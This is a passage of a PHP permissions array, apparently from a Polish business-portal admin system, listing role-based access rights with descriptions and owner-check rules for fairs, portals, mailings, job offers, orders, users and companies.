            ['createOwnUsersShippingData', 'Uprawnienia do tworzenia własnych danych do wysyłek.'],
            ['updateUsersShippingData', 'Uprawnienia do edycji danych do wysyłek.'],
            ['updateOwnUsersShippingData', 'Uprawnienia do edycji własnych danych do wysyłek.', 'checkUsersShippingDataOwner', 'updateUsersShippingData'],
            ['deleteUsersShippingData', 'Uprawnienia do usuwania danych do wysyłek.'],
            ['deleteOwnUsersShippingData', 'Uprawnienia do usuwania własnych danych do wysyłek.', 'checkUsersShippingDataOwner', 'deleteUsersShippingData'], 
            
            ['indexUsersDataToAccount', 'Uprawnienia do przeglądania listy danych do rozliczeń.'],
            ['indexOwnUsersDataToAccount', 'Uprawnienia do przeglądania listy własnych danych do rozliczeń.'],
            ['viewUsersDataToAccount', 'Uprawnienia do podglądu szczegółów danych do rozliczeń.'],
            ['viewOwnUsersDataToAccount', 'Uprawnienia do podglądu szczegółów własnych danych do rozliczeń.', 'checkUsersDataToAccountOwner', 'viewUsersDataToAccount'],
            ['createUsersDataToAccount', 'Uprawnienia do tworzenia danych do rozliczeń.'],
            ['createOwnUsersDataToAccount', 'Uprawnienia do tworzenia własnych danych do rozliczeń.'],
            ['updateUsersDataToAccount', 'Uprawnienia do edycji danych do rozliczeń.'],
            ['updateOwnUsersDataToAccount', 'Uprawnienia do edycji własnych danych do rozliczeń.', 'checkUsersDataToAccountOwner', 'updateUsersDataToAccount'],
            ['deleteUsersDataToAccount', 'Uprawnienia do usuwania danych do rozliczeń.'],
            ['deleteOwnUsersDataToAccount', 'Uprawnienia do usuwania własnych danych do rozliczeń.', 'checkUsersDataToAccountOwner', 'deleteUsersDataToAccount'], 
            
            ['indexFairsSeries', 'Uprawnienia do przeglądania listy cykli targów.'],
//            ['indexOwnFairsSeries', 'Uprawnienia do przeglądania listy własnych cykli targów.'],
            ['viewFairsSeries', 'Uprawnienia do podglądu szczegółów cykli targów.'],
//            ['viewOwnFairsSeries', 'Uprawnienia do podglądu szczegółów własnych cykli targów.', 'checkFairsSeriesOwner', 'viewFairsSeries'],
            ['createFairsSeries', 'Uprawnienia do tworzenia cykli targów.'],
//            ['createOwnFairsSeries', 'Uprawnienia do tworzenia własnych cykli targów.'],
            ['updateFairsSeries', 'Uprawnienia do edycji cykli targów.'],
//            ['updateOwnFairsSeries', 'Uprawnienia do edycji własnych cykli targów.', 'checkFairsSeriesOwner', 'updateFairsSeries'],
            ['deleteFairsSeries', 'Uprawnienia do usuwania cykli targów.'],
//            ['deleteOwnFairsSeries', 'Uprawnienia do usuwania własnych cykli targów.', 'checkFairsSeriesOwner', 'deleteFairsSeries'],
            ['transformFairsSeriesToEditions', 'Uprawnienia do przekształcania cykli targów w edycje.'],
//            ['transformOwnFairsSeriesToEditions', 'Uprawnienia do przekształcania własnych cykli targów w edycje.', 'checkFairsSeriesOwner', 'transformFairsSeriesToEditions'],
            
            ['indexFairs', 'Uprawnienia do przeglądania listy targów.'],
//            ['indexOwnFairs', 'Uprawnienia do przeglądania listy własnych targów.', 'checkFairsSeriesOwner', 'indexFairs'],
            ['viewFairs', 'Uprawnienia do podglądu szczegółów targów.'],
//            ['viewOwnFairs', 'Uprawnienia do podglądu szczegółów własnych targów.', 'checkFairsSeriesOwner', 'viewFairs'],
            ['createFairs', 'Uprawnienia do tworzenia targów.'],
//            ['createOwnFairs', 'Uprawnienia do tworzenia własnych targów.'],
            ['updateFairs', 'Uprawnienia do edycji targów.'],
//            ['updateOwnFairs', 'Uprawnienia do edycji własnych targów.', 'checkFairsSeriesOwner', 'updateFairs'],
            ['deleteFairs', 'Uprawnienia do usuwania targów.'],
//            ['deleteOwnFairs', 'Uprawnienia do usuwania własnych targów.', 'checkFairsSeriesOwner', 'deleteFairs'],
            
            ['indexFairsCategories', 'Uprawnienia do przeglądania listy kategorii targów.'],
            ['viewFairsCategories', 'Uprawnienia do podglądu szczegółów kategorii targów.'],
            ['createFairsCategories', 'Uprawnienia do tworzenia kategorii targów.'],
            ['updateFairsCategories', 'Uprawnienia do edycji kategorii targów.'],
            ['deleteFairsCategories', 'Uprawnienia do usuwania kategorii targów.'],
            
            ['indexTrainings', 'Uprawnienia do przeglądania listy szkoleń.'],
            ['indexOwnTrainings', 'Uprawnienia do przeglądania listy własnych szkoleń.'],
            ['viewTrainings', 'Uprawnienia do podglądu szczegółów szkoleń.'],
            ['viewOwnTrainings', 'Uprawnienia do podglądu szczegółów własnych szkoleń.', 'checkTrainingOwner', 'viewTrainings'],
            ['modifyTrainings', 'Uprawnienia do modyfikowania szkoleń.'],
            ['modifyOwnTrainings', 'Uprawnienia do modyfikowania własnych szkoleń.', 'checkTrainingOwner'],
            ['deleteTrainings', 'Uprawnienia do usuwania szkoleń.'],
            ['deleteOwnTrainings', 'Uprawnienia do usuwania własnych szkoleń.', 'checkTrainingOwner', 'deleteTrainings'],
            
            ['indexTrainingsCategories', 'Uprawnienia do przeglądania listy kategorii szkoleń.'],
            ['viewTrainingsCategories', 'Uprawnienia do podglądu szczegółów kategorii szkoleń.'],
            ['createTrainingsCategories', 'Uprawnienia do tworzenia kategorii szkoleń.'],
            ['updateTrainingsCategories', 'Uprawnienia do edycji kategorii szkoleń.'],
            ['deleteTrainingsCategories', 'Uprawnienia do usuwania kategorii szkoleń.'],
            
            ['indexPortals', 'Uprawnienia do przeglądania listy portali.'],
            ['viewPortals', 'Uprawnienia do podglądu szczegółów portali.'],
            ['createPortals', 'Uprawnienia do tworzenia portali.'],
            ['updatePortals', 'Uprawnienia do edycji danych podstawowych portali.'],
            ['deletePortals', 'Uprawnienia do usuwania portali.'],            
            ['indexPortalsCompaniesCategories', 'Uprawnienia do przeglądania drzewa kategorii firm na portalach.'],
            ['modifyPortalsCompaniesCategories', 'Uprawnienia do modyfikowania drzewa kategorii firm na portalach.'],
            ['indexPortalsProductsCategories', 'Uprawnienia do przeglądania drzewa kategorii produktów na portalach.'],
            ['modifyPortalsProductsCategories', 'Uprawnienia do modyfikowania drzewa kategorii produktów na portalach.'],
            ['indexPortalsArticlesCategories', 'Uprawnienia do przeglądania drzewa kategorii artykułów na portalach.'],
            ['modifyPortalsArticlesCategories', 'Uprawnienia do modyfikowania drzewa kategorii artykułów na portalach.'],
            ['indexPortalsJobOffersCategories', 'Uprawnienia do przeglądania drzewa kategorii ofert pracy na portalach.'],
            ['modifyPortalsJobOffersCategories', 'Uprawnienia do modyfikowania drzewa kategorii ofert pracy na portalach.'],
            ['indexPortalsTrainingsCategories', 'Uprawnienia do przeglądania drzewa kategorii szkoleń na portalach.'],
            ['modifyPortalsTrainingsCategories', 'Uprawnienia do modyfikowania drzewa kategorii szkoleń na portalach.'],
            ['indexPortalsBookstoreCategories', 'Uprawnienia do przeglądania drzewa kategorii księgarni na portalach.'],
            ['modifyPortalsBookstoreCategories', 'Uprawnienia do modyfikowania drzewa kategorii księgarni na portalach.'],
            ['indexPortalsAdvertisementsCategories', 'Uprawnienia do przeglądania drzewa kategorii ogłoszeń na portalach.'],
            ['modifyPortalsAdvertisementsCategories', 'Uprawnienia do modyfikowania drzewa kategorii ogłoszeń na portalach.'],
            ['indexPortalsAdvertisementsCategoriesParams', 'Uprawnienia do przeglądania parametrów dla kategorii ogłoszeń na portalach.'],
            ['modifyPortalsAdvertisementsCategoriesParams', 'Uprawnienia do modyfikowania parametrów dla kategorii ogłoszeń na portalach.'],
            ['indexPortalsTendersCPV', 'Uprawnienia do przeglądania listy kodów CPV na portalach.'],
            ['modifyPortalsTendersCPV', 'Uprawnienia do modyfikowania kodów CPV na portalach.'],
            ['indexPortalsAdsInfo', 'Uprawnienia do przeglądania listy pozycji w reklamie serwisu na portalach.'],
            ['modifyPortalsAdsInfo', 'Uprawnienia do modyfikowania reklamy serwisu na portalach.'], 
            ['indexPortalsRecommendedSites', 'Uprawnienia do przeglądania listy polecanych stron na portalach.'],
            ['modifyPortalsRecommendedSites', 'Uprawnienia do modyfikowania polecanych stron na portalach.'],
            ['indexPortalsTopCompanies', 'Uprawnienia do przeglądania listy "Top firm" na portalach.'],
            ['modifyPortalsTopCompanies', 'Uprawnienia do modyfikowania listy "Top firm" na portalach.'],
            ['indexPortalsTopSearchCompanies', 'Uprawnienia do przeglądania listy "Top pozycji wyszukiwarce firm" na portalach.'],
            ['modifyPortalsTopSearchCompanies', 'Uprawnienia do modyfikowania listy "Top pozycji w wyszukiwarce firm" na portalach.'],
            ['indexPortalsTopProducts', 'Uprawnienia do przeglądania listy "Top produktów" na portalach.'],
            ['modifyPortalsTopProducts', 'Uprawnienia do modyfikowania listy "Top produktów" na portalach.'],
            ['indexPortalsTopSearchProducts', 'Uprawnienia do przeglądania listy "Top pozycji w wyszukiwarce produktów" na portalach.'],
            ['modifyPortalsTopSearchProducts', 'Uprawnienia do modyfikowania listy "Top pozycji w wyszukiwarce produktów" na portalach.'],              
            ['indexPortalsCompaniesPromotedInCategories', 'Uprawnienia do przeglądania listy firm promowanych w drzewie kategorii na portalach.'],
            ['modifyPortalsCompaniesPromotedInCategories', 'Uprawnienia do modyfikowania listy firm promowanych w drzewie kategorii na portalach.'],
            ['indexPortalsProductsPromotedInCategories', 'Uprawnienia do przeglądania listy produktów promowanych w drzewie kategorii na portalach.'],
            ['modifyPortalsProductsPromotedInCategories', 'Uprawnienia do modyfikowania listy produktów promowanych w drzewie kategorii na portalach.'],
            ['indexPortalsRecommendedBooks', 'Uprawnienia do przeglądania listy polecanych książek na portalach.'],
            ['modifyPortalsRecommendedBooks', 'Uprawnienia do modyfikowania listy polecanych książek na portalach.'],
            ['indexPortalsPresentationsSettings', 'Uprawnienia do przeglądania ustawień prezentacji na portalach.'],
            ['modifyPortalsPresentationsSettings', 'Uprawnienia do modyfikowania ustawień prezentacji na portalach.'],
            ['indexPortalsServicesTypes', 'Uprawnienia do przeglądania typów usług na portalach.'],
            ['modifyPortalsServicesTypes', 'Uprawnienia do modyfikowania typów usług na portalach.'],
            ['indexPortalsServices', 'Uprawnienia do przeglądania usług na portalach.'],
            ['modifyPortalsServices', 'Uprawnienia do modyfikowania usług na portalach.'],
            ['indexPortalsBookstoreCommissions', 'Uprawnienia do przeglądania prowizji księgarni portali.'],
            ['modifyPortalsBookstoreCommissions', 'Uprawnienia do modyfikowania prowizji księgarni portali.'],
            ['indexPortalsDataSets', 'Uprawnienia do przeglądania zakresu portali.'],
            ['modifyPortalsDataSets', 'Uprawnienia do modyfikowania zakresu portali.'],
            ['indexPortalsMenus', 'Uprawnienia do przeglądania menu portali.'],
            ['modifyPortalsMenus', 'Uprawnienia do modyfikowania menu portali.'],
            ['indexPortalsDesign', 'Uprawnienia do przeglądania ustawień wizualnych portali.'],
            ['modifyPortalsDesign', 'Uprawnienia do modyfikowania ustawień wizualnych portali.'],
            ['indexPortalsExternalServices', 'Uprawnienia do przeglądania ustawień społecznościowych portali.'],
            ['modifyPortalsExternalServices', 'Uprawnienia do modyfikowania ustawień zewnętrznych usług portali.'],
            ['indexPortalsArticlesTags', 'Uprawnienia do przeglądania wybranych tagów artykułów.'],
            ['modifyPortalsArticlesTags', 'Uprawnienia do modyfikowania wybranych tagów artykułów.'],
            ['indexPortalsSeo', 'Uprawnienia do przeglądania ustawień SEO portali.'],
            ['modifyPortalsSeo', 'Uprawnienia do modyfikowania ustawień SEO portali.'],
            ['indexPortalsHomepages', 'Uprawnienia do przeglądania ustawień stron głównych portali.'],
            ['modifyPortalsHomepages', 'Uprawnienia do modyfikowania ustawień stron głównych portali.'],
            ['indexPortalsSmtp', 'Uprawnienia do przeglądania ustawień skrzynek pocztowych portali.'],
            ['modifyPortalsSmtp', 'Uprawnienia do modyfikowania ustawień skrzynek pocztowych portali.'],
            ['indexCompaniesAssignedToPortalsCategories', 'Uprawnienia do przeglądania firm przypisanych do kategorii na portalach.'],
            ['modifyCompaniesAssignedToPortalsCategories', 'Uprawnienia do przypisywania firm do kategorii na portalach.'],
            ['indexPortalsGoogleAnalyticsFiles', 'Uprawnienia do przeglądania plików Google Analytics portali.'],
            
            ['indexBusinessSectors', 'Uprawnienia do przeglądania listy branż.'],
            ['viewBusinessSectors', 'Uprawnienia do podglądu szczegółów branż.'],
            ['createBusinessSectors', 'Uprawnienia do tworzenia branż.'],
            ['updateBusinessSectors', 'Uprawnienia do edycji branż.'],
            ['deleteBusinessSectors', 'Uprawnienia do usuwania branż.'],
            
            ['indexOperatorsSections', 'Uprawnienia do przeglądania listy działów obsługi.'],
            ['viewOperatorsSections', 'Uprawnienia do podglądu szczegółów działów obsługi.'],
            ['createOperatorsSections', 'Uprawnienia do tworzenia działów obsługi.'],
            ['updateOperatorsSections', 'Uprawnienia do edycji działów obsługi.'],
            ['deleteOperatorsSections', 'Uprawnienia do usuwania działów obsługi.'],
            
            ['assignNewCompaniesToOperators', 'Uprawnienia do przypisywania firm operatorom.'],
            
            ['indexHelpAdminPanel', 'Uprawnienia do przeglądania listy stron pomocy panelu administracyjnego.'],
            ['viewHelpAdminPanel', 'Uprawnienia do podglądu szczegółów stron pomocy panelu administracyjnego.'],
            ['createHelpAdminPanel', 'Uprawnienia do tworzenia stron pomocy panelu administracyjnego.'],
            ['updateHelpAdminPanel', 'Uprawnienia do edycji stron pomocy panelu administracyjnego.'],
            ['deleteHelpAdminPanel', 'Uprawnienia do usuwania stron pomocy panelu administracyjnego.'],
            
            ['indexArticlesMailboxesFilters', 'Uprawnienia do przeglądania listy filtrów wyszukiwania artykułów w skrzynkach pocztowych.'],
            ['viewArticlesMailboxesFilters', 'Uprawnienia do podglądu szczegółów filtru wyszukiwania artykułów w skrzynkach pocztowych.'],
            ['createArticlesMailboxesFilters', 'Uprawnienia do tworzenia filtrów wyszukiwania artykułów w skrzynkach pocztowych.'],
            ['updateArticlesMailboxesFilters', 'Uprawnienia do edycji filtrów wyszukiwania artykułów w skrzynkach pocztowych.'],
            ['deleteArticlesMailboxesFilters', 'Uprawnienia do usuwania filtrów wyszukiwania artykułów w skrzynkach pocztowych.'],
            ['manageArticlesMailboxesNewEntries', 'Uprawnienia do zarządzania nowymi wpisami wyszukiwania artykułów w skrzynkach pocztowych.'],
            
            ['indexUndeliveredMails', 'Uprawnienia do przeglądania listy zwrotek o niedoręczonych mailach.'],
            ['viewUndeliveredMails', 'Uprawnienia do podglądu szczegółów zwrotek o niedoręczonych mailach.'],            
            ['deleteUndeliveredMails', 'Uprawnienia do usuwania zwrotek o niedoręczonych mailach.'],
            
            ['indexPortalsGroups', 'Uprawnienia do przeglądania listy grup tematycznych portali.'],
            ['viewPortalsGroups', 'Uprawnienia do podglądu szczegółów grup tematycznych portali.'],
            ['createPortalsGroups', 'Uprawnienia do tworzenia grup tematycznych portali.'],
            ['updatePortalsGroups', 'Uprawnienia do edycji grup tematycznych portali.'],
            ['deletePortalsGroups', 'Uprawnienia do usuwania grup tematycznych portali.'],
            
            ['indexEmails', 'Uprawnienia do przeglądania listy emaili.'],
            ['viewEmails', 'Uprawnienia do podglądu szczegółów emaili.'],
            ['createEmails', 'Uprawnienia do tworzenia emaili.'],
            ['updateEmails', 'Uprawnienia do aktualizacji ustawień emaili.'],
            ['deleteEmails', 'Uprawnienia do usuwania emaili.'],
            
            ['indexEmailsSets', 'Uprawnienia do przeglądania listy zestawów emaili.'],
            ['viewEmailsSets', 'Uprawnienia do podglądu szczegółów zestawów emaili.'],
            ['modifyEmailsSets', 'Uprawnienia do modyfikowania zestawów emaili.'],
            ['getEmailsFromEmailsSets', 'Uprawnienia do pobierania emaili z zestawów emaili.'],
            
            ['indexMailings', 'Uprawnienia do przeglądania listy mailingów.'],
            ['viewMailings', 'Uprawnienia do podglądu szczegółów mailingów.'],
            ['viewOwnMailings', 'Uprawnienia do podglądu własnych mailingów.', 'checkMailingReservationOwner', 'viewMailings'],
            ['createMailings', 'Uprawnienia do tworzenia mailingów.'],
            ['updateMailings', 'Uprawnienia do edycji mailingów.'],
            ['deleteMailings', 'Uprawnienia do usuwania mailingów.'],
            ['deliveryManagementMailings', 'Uprawnienia do zarządzania wysyłką mailingów.'],
            ['testSendMailings', 'Uprawnienia do testowania wysyłki mailingów.'],
            
            ['indexMailingsContents', 'Uprawnienia do przeglądania listy treści mailingów.'],
            ['viewMailingsContents', 'Uprawnienia do podglądu szczegółów treści mailingów.'],
            ['createMailingsContents', 'Uprawnienia do tworzenia treści mailingów.'],
            ['updateMailingsContents', 'Uprawnienia do edycji treści mailingów.'],
            ['deleteMailingsContents', 'Uprawnienia do usuwania treści mailingów.'],
            
            ['viewMailingsStatistics', 'Uprawnienia do przeglądania statystyk mailingów.'],
            
            ['deleteMailingsStatisticsReports', 'Uprawnienia do usuwania raportów ze statystyk mailingów.'],
            
            ['indexJobOffers', 'Uprawnienia do przeglądania listy ofert pracy.'],
            ['indexOwnJobOffers', 'Uprawnienia do przeglądania listy własnych ofert pracy.'],
            ['viewJobOffers', 'Uprawnienia do podglądu szczegółów ofert pracy.'],
            ['viewOwnJobOffers', 'Uprawnienia do podglądu szczegółów własnych ofert pracy.', 'checkJobOfferOwner', 'viewJobOffers'],
            ['createJobOffers', 'Uprawnienia do tworzenia ofert pracy.'],
            ['createOwnJobOffers', 'Uprawnienia do tworzenia własnych ofert pracy.'],
            ['updateJobOffers', 'Uprawnienia do edycji ofert pracy.'],
            ['updateOwnJobOffers', 'Uprawnienia do edycji własnych ofert pracy..', 'checkJobOfferOwner', 'updateJobOffers'],
            ['deleteJobOffers', 'Uprawnienia do usuwania ofert pracy.'],
            ['deleteOwnJobOffers', 'Uprawnienia do usuwania własnych ofert pracy.', 'checkJobOfferOwner', 'deleteJobOffers'],
            
            ['indexJobOffersCategories', 'Uprawnienia do przeglądania listy kategorii ofert pracy.'],
            ['viewJobOffersCategories', 'Uprawnienia do podglądu szczegółów kategorii ofert pracy.'],
            ['createJobOffersCategories', 'Uprawnienia do tworzenia kategorii ofert pracy.'],
            ['updateJobOffersCategories', 'Uprawnienia do edycji kategorii ofert pracy.'],
            ['deleteJobOffersCategories', 'Uprawnienia do usuwania kategorii ofert pracy.'],
            
            ['indexJobOffersSources', 'Uprawnienia do przeglądania listy źródeł ofert pracy.'],
            ['viewJobOffersSources', 'Uprawnienia do podglądu szczegółów źródeł ofert pracy.'],
            ['createJobOffersSources', 'Uprawnienia do tworzenia źródeł ofert pracy.'],
            ['updateJobOffersSources', 'Uprawnienia do edycji źródeł ofert pracy.'],
            ['deleteJobOffersSources', 'Uprawnienia do usuwania źródeł ofert pracy.'],
            
            ['assigningCompaniesOrdersItemsRealizations', 'Uprawnienia do przypisywania realizacji przedmiotów zamówień do operatorów.'],
            ['assigningYourselfCompaniesOrdersItemsRealizations', 'Uprawnienia do przypisywania sobie realizacji przedmiotów zamówień.', 'checkCompanyOrderItemAssign'],
            ['indexCompaniesOrdersItemsRealizations', 'Uprawnienia do przeglądania listy realizacji przedmiotów zamówień.'],
            ['indexOwnCompaniesOrdersItemsRealizations', 'Uprawnienia do przeglądania listy własnych realizacji przedmiotów zamówień.'],
            ['viewCompaniesOrdersItemsRealizations', 'Uprawnienia do podglądu szczegółów realizacji przedmiotów zamówień.'],
            ['viewOwnCompaniesOrdersItemsRealizations', 'Uprawnienia do podglądu szczegółów własnych realizacji przedmiotów zamówień.', 'checkCompanyOrderItemOwner', 'viewCompaniesOrdersItemsRealizations'],
            ['executeCompaniesOrdersItemsRealizations', 'Uprawnienia do wykonania realizacji przedmiotów zamówień.'],
            ['executeOwnCompaniesOrdersItemsRealizations', 'Uprawnienia do wykonania własnych realizacji przedmiotów zamówień.', 'checkCompanyOrderItemOwner', 'executeCompaniesOrdersItemsRealizations'],
            ['indexCompaniesOrders', 'Uprawnienia do przeglądania listy zamówień.'],
//            ['indexOwnCompaniesOrders', 'Uprawnienia do przeglądania listy własnych zamówień.'], //@todo wyłączone na prośbę Łukasza
            ['indexAssignedCompaniesOrders', 'Uprawnienia do przeglądania listy przypisanych zamówień.'],
            ['viewCompaniesOrders', 'Uprawnienia do podglądu szczegółów zamówień.'],
            ['viewCompaniesArchiveOrders', 'Uprawnienia do podglądu szczegółów archiwalnych zamówień.'],
//            ['viewOwnCompaniesOrders', 'Uprawnienia do podglądu szczegółów własnych zamówień.', 'checkCompanyOrderOwner', 'viewCompaniesOrders'], //@todo to chyba nie powinno być w uprawnieniach firmy
            ['viewAssignedCompaniesOrders', 'Uprawnienia do podglądu szczegółów przypisanych zamówień.', 'checkCompanyOrderOwner', 'viewCompaniesOrders'],
            ['getCompaniesOrders', 'Uprawnienia do pobierania zamówień.'],
            ['getCompaniesArchiveOrders', 'Uprawnienia do pobierania archiwalnych zamówień.'],
//            ['getOwnCompaniesOrders', 'Uprawnienia do pobierania własnych zamówień.', 'checkCompanyOrderOwner', 'getCompaniesOrders'], //@todo wyłączone na prośbę Łukasza
            ['getAssignedCompaniesOrders', 'Uprawnienia do pobierania przypisanych zamówień.', 'checkCompanyOrderOwner', 'getCompaniesOrders'],
            ['createCompaniesOrders', 'Uprawnienia do tworzenia zamówień.'],
            ['updateCompaniesOrders', 'Uprawnienia do edycji zamówień.'],
            ['updateAssignedCompaniesOrders', 'Uprawnienia do edycji przypisanych zamówień.', 'checkCompanyOrderOwner', 'updateCompaniesOrders'],
            ['deleteCompaniesOrders', 'Uprawnienia do usuwania zamówień.'],
            ['deleteAssignedCompaniesOrders', 'Uprawnienia do usuwania przypisanych zamówień.', 'checkCompanyOrderOwner', 'deleteCompaniesOrders'],
            ['deleteCompaniesArchiveOrders', 'Uprawnienia do usuwania archiwalnych zamówień.'],
            ['moveCompaniesArchiveOrders', 'Uprawnienia do przenoszenia archiwalnych zamówień.'],
            ['generateInvoiceForCompaniesOrders', 'Uprawnienia do generowania faktur dla zamówień.'],
            ['generateInvoiceForAssignedCompaniesOrders', 'Uprawnienia do generowania faktur dla przypisanych zamówień.', 'checkCompanyOrderOwner', 'generateInvoiceForCompaniesOrders'],
            ['monthlySummaryCompaniesOrders', 'Uprawnienia do generowania miesięcznych zestawień zamówień.'],
            
            ['indexOffers', 'Uprawnienia do przeglądania listy ofert.'],
            ['indexAssignedOffers', 'Uprawnienia do przeglądania listy przypisanych ofert.'],
            ['viewOffers', 'Uprawnienia do podglądu szczegółów ofert.'],
            ['viewAssignedOffers', 'Uprawnienia do podglądu szczegółów przypisanych ofert.', 'checkOfferOwner', 'viewOffers'],
            ['getOffers', 'Uprawnienia do pobierania ofert.'],
            ['getAssignedOffers', 'Uprawnienia do pobierania przypisanych ofert.', 'checkOfferOwner', 'getOffers'],
            ['createOffers', 'Uprawnienia do tworzenia ofert.'],
            ['createAssignedOffers', 'Uprawnienia do tworzenia przypisanych ofert.', 'checkCompanyOwner', 'createOffers'],
            ['updateOffers', 'Uprawnienia do edycji ofert.'],
            ['updateAssignedOffers', 'Uprawnienia do edycji przypisanych ofert.', 'checkOfferOwner', 'updateOffers'],
            ['deleteOffers', 'Uprawnienia do usuwania ofert.'],
            ['deleteAssignedOffers', 'Uprawnienia do usuwania przypisanych ofert.', 'checkOfferOwner', 'deleteOffers'],
            ['sendOffers', 'Uprawnienia do wysyłania ofert.'],
            
            ['indexUsers', 'Uprawnienia do przeglądania listy użytkowników.'],
            ['viewUsers', 'Uprawnienia do podglądu szczegółów użytkowników.'],
            ['viewOwnUsers', 'Uprawnienia do podglądu szczegółów własnego użytkownika.', 'checkUserOwner'],
            ['createUsers', 'Uprawnienia do tworzenia użytkowników.'],   
            ['createBasicUsers', 'Uprawnienia do tworzenia zwykłych użytkowników.'], 
            ['updateUsers', 'Uprawnienia do edycji użytkowników.'],
            ['updateBasicUsers', 'Uprawnienia do podstawowej edycji użytkowników.'],
            ['updateAssignedUsers', 'Uprawnienia do edycji przypisanych użytkowników.', 'checkUserOwner', 'updateUsers'],
            ['updateOwnUsers', 'Uprawnienia do edycji własnego użytkownika.', 'checkUserOwner'],
            ['deleteUsers', 'Uprawnienia do usuwania użytkowników.'],
            
            ['viewOwnUsersData', 'Uprawnienia do przeglądania danych utworzonych przez własnego użytkownika.', 'checkUserOwner'],
            ['modifyOwnUsersData', 'Uprawnienia do modyfikowania danych utworzonych przez własnego użytkownika.', 'checkUserOwner'],
            
            ['viewCompaniesData', 'Uprawnienia do przeglądania danych firm.'],
            ['viewAssignedCompaniesData', 'Uprawnienia do przeglądania przypisanych firm.', 'checkCompanyOwner', 'viewCompaniesData'],
            ['viewOwnCompaniesData', 'Uprawnienia do przeglądania danych własnych firm.', 'checkCompanyOwner', 'viewCompaniesData'],
            ['modifyCompaniesData', 'Uprawnienia do modyfikowania danych firm.'],
            ['modifyAssignedCompaniesData', 'Uprawnienia do modyfikowania danych przypisanych firm.', 'checkCompanyOwner', 'modifyCompaniesData'],            
            ['modifyOwnCompaniesData', 'Uprawnienia do modyfikowania danych własnych firm.', 'checkCompanyOwner', 'modifyCompaniesData'],
            ['indexSimilarCompanies', 'Uprawnienia do przeglądania/wyszukiwania firm podobnych.'],
            ['modifyAssignedCompaniesBasicData', 'Uprawnienia do modyfikowania podstawowych danych przypisanych firm.', 'checkCompanyOwner'],
            ['modifyCompaniesAnnotations', 'Uprawnienia do modyfikowania uwag do firm.'],
            ['modifyAssignedCompaniesAnnotations', 'Uprawnienia do modyfikowania uwag do przypisanych firm.', 'checkCompanyOwner', 'modifyCompaniesAnnotations'],
            ['assignCompanyYourself', 'Uprawnienia do samodzielnego przypisywania firm.'],
            ['reportCompanyToDelete', 'Uprawnienia do zgłaszania firm do usunięcia.'],
            
            ['modifyUsersDataWithoutRegistering', 'Uprawnienia do modyfikowania danych firm bez rejestracji czynności.'],
            
            ['indexCompanies', 'Uprawnienia do przeglądania listy firm.'],
            ['indexOwnCompanies', 'Uprawnienia do przeglądania listy własnych firm.'],
            ['indexAssignedCompanies', 'Uprawnienia do przeglądania listy przypisanych firm.'],
            ['indexCompaniesSellers', 'Uprawnienia do przeglądania listy przypisanych firm będących sprzedawcami.'],
            ['createCompanies', 'Uprawnienia do tworzenia firm.'],
            ['createOwnCompanies', 'Uprawnienia do tworzenia własnych firm.'],
            ['deleteCompanies', 'Uprawnienia do usuwania firm.'],
            ['deleteOwnCompanies', 'Uprawnienia do usuwania własnych firm.', 'checkCompanyOwner', 'deleteCompanies'], 
            ['mergingCompanies', 'Uprawnienia do scalania firm.'],
            ['viewCompaniesPromotions', 'Uprawnienia do przeglądania promowań firm.'],
            ['viewAssignedCompaniesPromotions', 'Uprawnienia do przeglądania promowań przypisanych firm.', 'checkCompanyOwner', 'viewCompaniesPromotions'],
            
            ['viewCompaniesEmployees', 'Uprawnienia do przeglądania pracowników firm.'],
            ['viewAssignedCompaniesEmployees', 'Uprawnienia do przeglądania pracowników przypisanych firm.', 'checkCompanyOwner', 'viewCompaniesEmployees'],
            ['viewOwnCompaniesEmployees', 'Uprawnienia do przeglądania pracowników własnych firm.', 'checkCompanyOwner', 'viewCompaniesEmployees'],
            ['modifyCompaniesEmployees', 'Uprawnienia do modyfikowania pracowników firm.'],
            ['modifyAssignedCompaniesEmployees', 'Uprawnienia do modyfikowania pracowników przypisanych firm.', 'checkCompanyOwner', 'modifyCompaniesEmployees'],
            ['modifyOwnCompaniesEmployees', 'Uprawnienia do modyfikowania pracowników własnych firm.', 'checkCompanyOwner', 'modifyCompaniesEmployees'],
            
            ['viewCompaniesPresentations', 'Uprawnienia do przeglądania prezentacji firm.'],
            ['viewAssignedCompaniesPresentations', 'Uprawnienia do przeglądania prezentacji przypisanych firm.', 'checkCompanyOwner', 'viewCompaniesPresentations'],
            ['viewOwnCompaniesPresentations', 'Uprawnienia do przeglądania prezentacji własnych firm.', 'checkCompanyOwner', 'viewCompaniesPresentations'],
            ['modifyCompaniesPresentations', 'Uprawnienia do modyfikowania prezentacji firm.'],
            ['modifyAssignedCompaniesPresentations', 'Uprawnienia do modyfikowania prezentacji przypisanych firm.', 'checkCompanyOwner', 'modifyCompaniesPresentations'], 
            ['modifyOwnCompaniesPresentations', 'Uprawnienia do modyfikowania prezentacji własnych firm.', 'checkCompanyOwner', 'modifyCompaniesPresentations'],
            ['modifyCompaniesPresentationsSettings', 'Uprawnienia do modyfikowania ustawień prezentacji firm.'], 
            ['modifyAssignedCompaniesPresentationsSettings', 'Uprawnienia do modyfikowania ustawień prezentacji przypisanych firm.', 'checkCompanyOwner', 'modifyCompaniesPresentationsSettings'],
            ['accessToInactiveCompaniesPresentations', 'Uprawnienia dostępu do nieaktywnych prezentacji firm.'],
            ['createCompaniesPresentations', 'Uprawnienia do tworzenia nowych prezentacji firm.'],
            ['deleteCompaniesPresentations', 'Uprawnienia do usuwania prezentacji firm.'],
            
            ['manageCompanies', 'Uprawnienia do zarządzania przypisanymi firmami.', 'checkCompanyPatron'],
            
            ['indexTasksGeneratingCompaniesPresentations', 'Uprawnienia do przeglądania listy zgłoszeń generowania opisów dla prezentacji firm.'],                    
            ['viewTasksGeneratingCompaniesPresentations', 'Uprawnienia do podglądu szczegółów zgłoszeń generowania opisów dla prezentacji firm.'],
            ['modifyTasksGeneratingCompaniesPresentations', 'Uprawnienia do modyfikowania zgłoszeń generowania opisów dla prezentacji firm.'],
            ['deleteTasksGeneratingCompaniesPresentations', 'Uprawnienia do usuwania zgłoszeń generowania opisów dla prezentacji firm.'], 
            ['setAsUsedTasksGeneratingCompaniesPresentations', 'Uprawnienia do oznaczenia zgłoszeń generowania opisów dla prezentacji firm jako wykonane.'],
            
            ['manageCompaniesCases', 'Uprawnienia do zarządzania sprawami firm.'],
            ['forwardCompaniesCases', 'Uprawnienia do przekazywania spraw firm.'],
            ['forwardAssignedCompaniesCases', 'Uprawnienia do przekazywania spraw przypisanych firm.', 'checkCompanyOwner', 'forwardCompaniesCases'],
            ['moveCompaniesCases', 'Uprawnienia do przenoszenia spraw między firmami.'],
